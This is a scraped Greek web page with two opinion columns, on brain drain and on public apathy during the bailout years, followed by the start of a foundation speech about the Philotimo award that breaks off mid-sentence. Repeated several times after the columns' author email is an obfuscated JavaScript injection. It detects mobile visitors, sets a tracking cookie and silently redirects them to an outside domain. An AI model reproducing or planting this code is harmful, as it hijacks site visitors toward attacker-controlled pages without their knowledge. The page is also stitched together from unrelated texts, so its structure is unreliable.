Μεγάλες προσδοκίες 2

Μετά από πολλά mail και εκατοντάδες like στο fb επανέρχομαι με το άλλο σύμπτωμα του Μνημονίου , το θέμα της ροής εγκεφάλων στο εξωτερικό. Τι να πω τώρα; Άλλα κροκοδείλια δάκρυα εδώ. Πότε χρειάστηκε η Ελλάδα εγκεφάλους; Ακόμα και στην περίπτωση που προσλήφθηκαν άτομα με ικανότητες σε καίριες θέσεις ο ρόλος τους ήταν να συντηρούν τον μηχανισμό και να εξασφαλίζουν την ομαλή λειτουργία του. Ελάχιστες εξαιρέσεις έβαλαν ένα μικρό λιθαράκι στην πρόοδο και στο γενικό καλό και πάντα παίρνοντας μέτρα να μη θίξουν και να μη φέρουν σε δύσκολη θέση τους πρωταγωνιστές στους αγώνες μετριότητας.
Η χώρα διαθέτει ένα υψηλού επιπέδου φυτώριο εγκεφάλων περισσότερο από τύχη παρά από σχεδιασμό. Αν δούμε το θέμα της Παιδείας μας , θα προσέξουμε ότι υπάρχει ένα αυστηρό σύστημα εισαγωγής στα πανεπιστήμια όπου πράγματι περνάνε οι άριστοι . Μάλιστα παρατηρείται το εξής οξύμωρο: όσο λιγότερα εποπτικά μέσα χρησιμοποιούνται στην Β΄βάθμια και στην Γ’ βάθμια εκπαίδευση τόσο υψηλότερο καταλήγει να είναι το επίπεδο των σπουδαστών μας. Φαίνεται πως η έλλειψη διδακτικών μέσων οξύνει περισσότερο τη σκέψη τους. Όμως αυτό το αξιόλογο φυτώριο δεν μπορεί να χρησιμοποιηθεί γιατί η χώρα έχει ανάγκη από μέτρια άτομα που όταν προσλαμβάνονται στον δημόσιο τομέα ξέρουν για ποιόν δουλεύουν και δεν δυσκολεύουν την λειτουργία της υπηρεσίας τους με άχρηστες πρωτότυπες ιδέες .
Με λίγα λόγια το κράτος χρειάζεται στους κόλπους του, άτομα που διεκπεραιώνουν την καθημερινότητα και “κοιτάζουν τη δουλειά τους”. Η παντοδύναμη καθημερινότητα σε περίοπτη θέση τιμωρεί τους δημιουργικούς , τους διορατικούς και τους έξυπνους που κόβει το μάτι τους , επιτρέποντας στην “φιλική μετριότητα” να προοδεύσει, εκμεταλλευόμενη τις όποιες ευκαιρίες για πλουτισμό και ανέλιξη.
Σε τέτοιες συνθήκες συμπεραίνουμε ότι οι ευφυείς για να μπορέσουν να επιβιώσουν σ΄ αυτήν τη χώρα πρέπει να γίνουν ακόμη πιο έξυπνοι. Δεν βρίσκονται αντιμέτωποι μόνο με την ανεργία , με την αδιαφορία της πολιτείας , με την έλλειψη κανόνων , αλλά πρέπει να αντιμετωπίσουν και το παράλογο της ανυπαρξίας επίσημης επετηρίδας ή ΑΣΕΠ για παράδειγμα. Έχουν να κάνουν με ένα κοινωνικό περιβάλλον που αναρωτιέται πως ένα άτομο με ικανότητες δεν μπορεί να βρει δουλειά. Δέχονται πιέσεις από την οικογένεια που τόσα ξόδεψε για σπουδές και προσδοκά άμεσα αποτελέσματα. Και αφού δοκιμάσουν την αντοχή τους και σε μια πολύ κατωτέρου επιπέδου ενασχόληση σε σχέση με τις ικανότητές τους , κακοπληρωμένοι και πικραμένοι , συγκρίνουν τη θέση τους με τα ικανά άτομα της κρατικής μηχανής , με τους φωστήρες που βρίσκονται σε θέσεις κλειδιά και …διαλέγουν το δρόμο της ξενιτιάς. Αυτά τα “σφυρηλατημένα” παιδιά προσλαμβάνουν τα ξένα κράτη στα πανεπιστήμια , στα ινστιτούτα , στις πολυεθνικές τους. Και ενώ οι ξένοι ψάχνουν τη συνταγή των ικανοτήτων τους στο DNA της φυλής μας , δεν γνωρίζουν και δεν θα μάθουν ποτέ , ότι το εκπαιδευτικό μας σύστημα και οι μετέπειτα “κλειστές πόρτες” μεγαλώνουν ηγέτες για θέσεις εκτός συνόρων.
Ας σταματήσει λοιπόν η επιμνημόσυνη δέηση για τη ροή εγκεφάλων στο εξωτερικό. Δεν τους χρειαζόμαστε.
akaras1979@yahoo.gr
var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

“Μεγάλες” προσδοκίες. (…μίνι θεωρητική προσέγγιση της οικονομίας μας)

Δεν ξέρω αν μπορεί να επιλύσει το ελληνικό πρόβλημα κάποιος οικονομολόγος , χωρίς να χρειαστεί τη βοήθεια ψυχιάτρου. Έχετε ακούσει πάρα πολλά και έχετε ίσως κουραστεί από τις αναλύσεις . Κανείς δεν μπορεί να εξηγήσει την απάθεια μας όσο αφορά την ανάπτυξη , και την αποστροφή μας για πρωτογενή παραγωγή.
Λοιπόν : θα το πω απλά. Ο λαός μας τα τελευταία χρόνια δεν αντιδρά γιατί απλά εκτίει την ποινή του. Με όλα αυτά που ακούστηκαν για τεμπέληδες και αετονύχηδες , με όλες αυτές τις τύψεις για την έκλυτη περασμένη δεκαετία έχει υποστεί κάποιο είδος δίκης , παραδέχτηκε την ενοχή του και τώρα εκτίει την ποινή του. Αυτά τα χρόνια “του μνημονίου” -όπως λέγονται- οι Έλληνες δεν κάνουν κάτι για να αντιστρέψουν το κλίμα. Αισθάνονται ότι βρίσκονται σε μία φυλακή από την οποία όσοι έχουν τα κότσια πριονίζουν τα κάγκελα και μεταναστεύουν , οι υπόλοιποι όμως περιμένουν να περάσει ο χρόνος και να εκπνεύσει η ποινή τους.
Δεν θέλουν ούτε να παράγουν ούτε να αναπτυχθούν. Αρκετοί προτιμούν την απομόνωση και κάποιοι το παρακάνουν και αυτοκτονούν. Όμως το αίσθημα που υπερισχύει αυτά τα χρόνια είναι αυτή η έμμονη ιδέα της προδοσίας από τους πολιτικούς.
Ο κόσμος αυτής της χώρας γνωρίζει πως ότι και να παράγει όσο δημιουργικός κι αν είναι θα βρεθεί κάποιος που θα του αρπάξει τον ιδρώτα του. Είτε μιλήσουμε για τους χονδρεμπόρους στον αγροτικό τομέα , είτε για τις κατευθυνόμενες χορηγήσεις τύπου “εσπα” , είτε για πρωτότυπες εργασίες στο πανεπιστήμιο , η παραγωγή , οι επιχειρηματικές προσδοκίες και το πνευματικό έργο του Έλληνα πολίτη παραμένουν ανοχύρωτα. Ακόμα και σήμερα , βιώνοντας κρίσιμες στιγμές, πρωτοφανή ανεργία και έλλειψη ρευστότητας , εμφανίζονται από παντού : “έξυπνες” προσφορές- παγίδες στην κινητή τηλεφωνία , άθλια τηλεπαιγνίδια- κουίζ ευφυϊας στην τηλεόραση, ψεύτικες προσφορές από διαιτολόγους , βρώμικα αδυνατίσματα από εμπόρους μαγικών αλοιφών και ότι άλλο υφίσταται καθημερινά η ζωή μας , υποσχόμενο ακόμα παραδείσους και ευτυχισμένες στιγμές .
Συγκρίνουν την απάθειά μας με το ιρλανδικό θαύμα , με την επάνοδο στις αγορές της Πορτογαλίας , με τις υπεράνθρωπες προσπάθειες που γίνονται για να ανακάμψει ο ευρωπαϊκός νότος. Δεν ακούμε τίποτε. Απλά εκτίουμε την ποινή μας. Τίποτε περισσότερο.
Η νέα κυβέρνηση λοιπόν πρέπει να δουλέψει προς αυτήν την κατεύθυνση , της απενοχοποίησης και -ας την πούμε έτσι- ψυχολογικής υποστήριξης του λαού μας , “αμείβοντας” σε κάθε περίπτωση τους ικανούς ,τους παραγωγικούς, τους νεωτεριστές , αυτούς που προσφέρουν στην ανταγωνιστικότητα της χώρας , έστω και αν οι επιλογές τους στις εκλογές ήταν με το στρατόπεδο των αντιπάλων.
Σε αντίθετη περίπτωση ακόμη και η παραγωγή μιας Ελληνικής βίδας θα παραμείνει στο χώρο των μεγάλων προσδοκιών μας.
akaras1979@yahoo.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Oμιλία του Προέδρου του ΙΣΝ, κ. Ανδρέα Δρακόπουλου

Εκλεκτοί προσκεκλημένοι, κυρίες και κύριοι,
Εκ μέρους όλων μας στο Ίδρυμα Σταύρος Νιάρχος, θα ήθελα να σας καλωσορίσω στην
αποψινή εκδήλωση, λέγοντας πόσο χαρούμενοι και περήφανοι είμαστε που βρισκόμαστε
σήμερα εδώ, για να μοιραστούμε μαζί σας τον πρώτο αποδέκτη του Πρώτου Ετήσιου
Βραβείου του Ιδρύματος Σταύρος Νιάρχος για το Φιλότιμο. Παρακολουθώντας τη σημερινή
εκδήλωση, δεν θα μπορούσα να φανταστώ καλύτερο χώρο για να απονεμηθεί αυτό το
βραβείο, και θα ήθελα να ευχαριστήσω τους Andy και Mike Manatos για τη συμβολή τους
στην καθιέρωση αυτού του βραβείου, καθώς και για την διορατικότητα που επέδειξαν
αναγνωρίζοντας τη μοναδικότητα της έννοιας του «φιλότιμου» και τη σημασία της
εισαγωγής της σε ένα ευρύ κοινό. Ωστόσο, πριν προχωρήσουμε με το Βραβείο, θα ήθελα να
αφιερώσουμε μία στιγμή για να αναγνωρίσουμε πόσο μεγάλη τιμή αισθανόμαστε που
έχουμε την ευκαιρία να μοιραστούμε απόψε τη σκηνή με τους γονείς του αείμνηστου
James Foley, καθώς και με τη Ruslana Lyzhychko και τον Shimon Peres.

Σε αυτό το σημείο θα ήθελα να στραφούμε στο Πρώτο Ετήσιο Βραβείο του ΙΣΝ για το
Φιλότιμο. Ο Ζαν-Ζακ Ρουσσώ υποστήριξε ότι η φροντίδα για τους άλλους, η φροντίδα για
τους συνανθρώπους μας είναι αυτό που μας κάνει ανθρώπους, ενώ ο Αριστοτέλης είπε ότι
«η εκπαίδευση του μυαλού, χωρίς την εκπαίδευση της καρδιάς δεν νοείται ως
εκπαίδευση». Τώρα, το τελευταίο πράγμα που θα θέλατε ίσως να ακούσετε είναι μία
ακόμη εξήγηση του τι σημαίνει η λέξη «φιλότιμο». Έχετε ίσως ήδη ακούσει ότι είναι
αδύνατο να αποδοθεί η λέξη αυτούσια στα αγγλικά. Ή ότι το «φιλότιμο» πρόκειται για μία
έννοια ή έναν τρόπο ζωής, γνωστό μόνο στους Έλληνες. Θα πάρω το ρίσκο να το
απλοποιήσω, χωρίς σε καμία περίπτωση να μειώσω την έννοιά του, ως την εξής
κατευθυντήρια γραμμή: ΒΑΛΕ ΤΑ ΔΥΝΑΤΑ ΣΟΥ, ΚΑΝΕ ΤΟ ΣΩΣΤΟ, ΚΑΙ ΠΡΟΣΠΑΘΗΣΕ ΝΑ
ΚΑΝΕΙΣ ΑΥΤΟΝ ΤΟΝ ΚΟΣΜΟ ΕΝΑ ΚΑΛΥΤΕΡΟ ΜΕΡΟΣ ΓΙΑ ΟΛΟΥΣ. Τούτου λεχθέντος, θα
ήθελα σε αυτό το σημείο να συνδέσουμε την έννοια του φιλότιμου με το συγκεκριμένο
βραβείο.
Όλοι γνωρίζουν ότι η Ελλάδα είναι ουσιαστικά μία χώρα με αναρίθμητα νησιά. Τα χιλιάδες
αυτά νησιά αποτελούν βασικό κομμάτι της ταυτότητας της Ελλάδας. Κάθε Έλληνας
